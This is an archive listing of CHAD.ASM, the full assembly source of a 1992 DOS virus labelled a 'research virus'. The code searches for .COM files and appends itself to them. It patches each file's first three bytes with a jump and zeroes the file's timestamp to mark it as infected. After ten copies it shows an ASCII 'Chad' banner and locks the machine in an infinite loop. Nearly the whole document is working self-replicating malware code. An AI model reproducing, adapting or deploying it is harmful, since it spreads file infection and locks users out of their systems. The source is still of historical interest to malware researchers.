home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / CHAD.ASM < prev    next >
Assembly Source File  |  1990-04-16  |  9KB  |  205 lines

  1. ;***************************************************************************
  2. ;*                                                                         *
  3. ;*  CHAD - Research Virus Version 1.01              Date. 11th April 1992. *
  4. ;*                                                                         *
  5. ;*  Written By : *.****** (*** ******** *******)                           *
  6. ;*                                                                         *
  7. ;*  Non-Overwriting Virus To Persuade Users To Get Some Anti-Virus         *
  8. ;*                                        Software, While Having Some Fun. *
  9. ;***************************************************************************
  10.  
  11. CODE  Segment
  12.       Assume CS:CODE
  13.  
  14. progr equ 100h
  15.  
  16.       org progr
  17.  
  18. virus_size    EQU vir_end-vir_start
  19. variable_diff EQU variables_start-vir_start
  20.  
  21. chad:
  22.       call vir_start                     ;call virus
  23.       mov ah,4ch                         ;return to operating system
  24.       int 21h                            ;thru' dos interrupt 21h
  25.  
  26. vir_start:
  27.       call next_byte                     ;call next address
  28.  
  29. next_byte:
  30.       pop ax                             ;get next_byte address
  31.       sub ax,3                           ;get virus address
  32.       pop di                             ;get program start address
  33.       push ax                            ;save virus address
  34.  
  35.       mov si,ax                          ;get address of next_byte
  36.       mov ax,variable_diff               ;add difference
  37.       add si,ax                          ;get variables address
  38.  
  39.       push si                            ;save si
  40.       mov ax,18                          ;counter = variables+18
  41.       add si,ax                          ;and point to it
  42.       mov al,byte [si]                   ;get byte in counter
  43.       add al,1                           ;add 1 to it
  44.       mov byte [si],al                   ;and save again
  45.       and al,10                          ;set counter
  46.       cmp al,10                          ;has it been copied 10 times?
  47.       jnz over_chad                      ;if not jump over
  48.       mov ax,03h                         ;jump over to message line 1
  49.       add si,ax                          ;si = message
  50.       mov cx,10                          ;set counter to print
  51. print_chad:
  52.       push cx                            ;save counter
  53.       mov ah,0fh                         ;get current display page
  54.       int 10h                            ;call bios routine
  55.       mov ah,02h                         ;set cursor position
  56.       mov dl,18                          ;set column
  57.       mov dh,cl                          ;set line (backwards)
  58.       add dh,5                           ;place in middle of screen
  59.       int 10h                            ;call bios routine
  60.       mov dx,si                          ;move to dx
  61.       mov ah,09h                         ;print string 
  62.       int 21h                            ;call dos
  63.       pop cx                             ;restore counter
  64.       add si,42                          ;point to next string
  65.       loop print_chad                    ;loop 'till done
  66. print_chad1:
  67.       jmp print_chad1                    ;infinite loop
  68. over_chad:
  69.       pop si                             ;restore variables address
  70.       pop ax                             ;get variables difference
  71.       mov [si],ax                        ;and save
  72.       mov ax,3                           ;move to old address
  73.       sub di,ax                          ;start of .com file
  74.       mov [si+2],di
  75.       mov ax,[si+4]                      ;get two bytes from old code
  76.       mov [di],ax                        ;and place at start of file
  77.       mov al,[si+6]                      ;get last byte of old code
  78.       mov [di+2],al                      ;and place at start of .COM file
  79.   
  80.       mov dx,si                          ;which is copied to destination
  81.       mov ax,12                          ;add 3 to variables address
  82.       add dx,ax                          ;and save file control block
  83.  
  84. ;search for first
  85.       mov ah,4eh                         ;search for first
  86.       xor cx,cx                          ;attributes to search
  87.       int 21h                            ;call dos
  88.       jnc found_one                      ;if file found jump over
  89.       jmp return_to_prog                 ;if no file found return to program
  90.  
  91. found_one:
  92.       mov ah,2fh                         ;get DTA address into es:bx
  93.       int 21h                            ;call dos
  94.       mov ax,22                          ;jump over to time
  95.       add bx,ax                          ;and point to it
  96.       mov al,es:[bx]                     ;and place in ax
  97.       and al,00000111b                   ;get seconds only
  98.       cmp al,00h                         ;zero seconds?
  99.       jnz infect_program                 ;if not infect program
  100.       mov ah,4fh                         ;find next file
  101.       int 21h                            ;call dos
  102.       cmp ax,12h                         ;any more files left?
  103.       jz return_to_prog                  ;no! return to program
  104.       jmp short found_one                ;jump back
  105.  
  106. infect_program:
  107.       mov dx,8                           ;jump to asciiz fcb
  108.       add dx,bx                          ;add to bx
  109.       mov ax,3d02h                       ;open file for writing
  110.       int 21h                            ;call dos
  111.       jnc continue                       ;continue if no error
  112.  
  113.       mov ah,4fh                         ;search for next
  114.       xor cx,cx                          ;attributes to search
  115.       int 21h                            ;call dos
  116.       jc return_to_prog                  ;if no file found return to program
  117.       jmp short found_one                ;jump forward if one found
  118.  
  119. continue:
  120.       mov bx,ax                          ;transfer file handle to bx
  121.  
  122. ;read first three bytes
  123.       mov ah,3fh                         ;read file
  124.       mov cx,3                           ;number of bytes to read
  125.       mov dx,si                          ;point to buffer to read
  126.       add dx,4
  127.       int 21h                            ;call dos
  128.  
  129.       mov ax,4202h                       ;move file pointer to end of file
  130.       xor cx,cx                          ;clear cx
  131.       xor dx,dx                          ;clear dx
  132.       int 21h                            ;call dos
  133.       sub ax,3
  134.       mov word [si+08h],ax               ;and store
  135.  
  136.       mov ah,40h                         ;write to file
  137.       mov cx,virus_size                  ;set counter to write
  138.       mov dx,[si]
  139.       int 21h                            ;and write to file
  140.  
  141.       mov ax,4200h                       ;move file pointer to start of file
  142.       xor cx,cx                          ;clear cx
  143.       xor dx,dx                          ;clear dx
  144.       int 21h                            ;call dos
  145.  
  146.       mov ah,40h                         ;write to file
  147.       mov cx,3                           ;set counter to write
  148.       mov di,si
  149.       add di,9
  150.       mov dx,di                          ;point to buffer to start
  151.       int 21h                            ;and write to file
  152.  
  153.       mov ax,5701h                       ;set date & time
  154.       xor cx,cx                          ;time set to zero
  155.       xor dx,dx                          ;and date
  156.       int 21h                            ;and do it
  157.       mov ah,3eh                         ;close file
  158.       int 21h                            ;thru' dos
  159.  
  160. return_to_prog:
  161.       mov ax,cs                          ;get code segment
  162.       mov es,ax                          ;reset extra segment
  163.       mov ax,0100h                       ;start of .COM file
  164.       mov di,ax                          ;set destination address
  165.       jmp ax                             ;jump to start of program
  166.  
  167. variables_start:
  168.       db 0,0
  169.       db 0,0
  170. old_add:
  171.       db 0e8h,0,0
  172.       db 0,0
  173. jump_code:
  174.       db 0e8h,0,0
  175. fcb:
  176.       db "*.COM",0
  177. counter:
  178.       db 0
  179. date:
  180.       db 0
  181. time:
  182.       db 0
  183. chad1:
  184.       db "┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴$"
  185.       db "┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬$"
  186.       db "┴┬┴┬┴┬┴┬       Software .....   ┴┬┴┬┴┬┴┬┴$"
  187.       db "┬┴┬┴┬┴┬┴ WOT!!  No Anti - Virus ┬┴┬┴┬┴┬┴┬$"
  188.       db "┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴$"
  189.       db "┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬    ┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬┴┬$"
  190.       db "─┬─┬─┬─┬─┬─┬─WW┬┴┬─    ┬─┼─WW┬─┬─┬─┬─┬─┬─$"
  191.       db "                │  O  O  │               $"
  192.       db "                /        \               $"
  193.       db "                  ______                 $"
  194. chad2:
  195.       db "CHAD Against Damaging Viruses ... Save Our Software. 1992.$"
  196.  
  197. variables_end:
  198.  
  199. vir_end:
  200.  
  201. CODE   ENDS
  202.  
  203.        END chad
  204.  
  205.